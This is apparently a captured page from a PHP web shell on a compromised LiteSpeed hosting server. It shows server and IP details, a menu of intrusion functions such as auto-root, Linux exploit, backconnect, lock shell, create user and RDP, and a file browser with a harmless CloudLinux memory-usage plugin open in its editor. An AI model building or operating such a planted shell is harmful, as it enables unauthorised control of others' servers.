Linux boca.hozzt.com 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
: 159.253.39.62 | : 3.149.251.198
Cant Read [ /etc/named.conf ]
7.4.33
renovkoron
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
opt /
cloudlinux /
venv /
lib /
python3.11 /
site-packages /
lvestats /
plugins /
generic /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
burster
[ DIR ]
drwxr-xr-x
__init__.py
219
B
-rw-r--r--
aggregators.py
5.45
KB
-rw-r--r--
analyzers.py
9.51
KB
-rw-r--r--
cleaners.py
4.2
KB
-rw-r--r--
cm_collector.py
11.25
KB
-rw-r--r--
collectors.py
3.33
KB
-rw-r--r--
dbgov_saver.py
6.43
KB
-rw-r--r--
dbsaver.py
5.78
KB
-rw-r--r--
dbsaver_x60.py
9.9
KB
-rw-r--r--
lvestats_memory_usage.py
1.59
KB
-rw-r--r--
persistors.py
13.58
KB
-rw-r--r--
snapshot_saver.py
15.89
KB
-rw-r--r--
statsnotifier.py
50.88
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : lvestats_memory_usage.py
# coding=utf-8 # # Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENSE.TXT from __future__ import absolute_import from __future__ import division import logging import os import psutil from guppy import hpy from lvestats.core.plugin import LveStatsPlugin class LVEStatsMemoryUsage(LveStatsPlugin): def __init__(self): self.log = logging.getLogger('plugin.LVEStatsMemoryUsage') self.now = 0 # This changes in MainLoop self.period = 60 * 60 self.threshold = 512 try: self._process = psutil.Process(os.getpid()) except AttributeError: self._process = None self.log.error("Process attribute in psutil is not available. psutil.__version__=%s", psutil.__version__) self._hpy = hpy() self._hpy.setrelheap() @staticmethod def split(value): return str(value).split("\n") def execute(self, lve_data): if self._process is None: return rss = self._process.memory_info()[0] / float(1024 * 1024) self.log.debug(str(rss)) if rss >= self.threshold: heap = self._hpy.heap()[:10] result = { 'heap': self.split(heap), 'byid': self.split(heap.byid), 'byvia': self.split(heap.byvia), 'byrcs': self.split(heap.byrcs)} self.log.error("LVEStats uses too much memory", extra=result) elif rss < self.threshold/2: self._hpy.setrelheap()
Close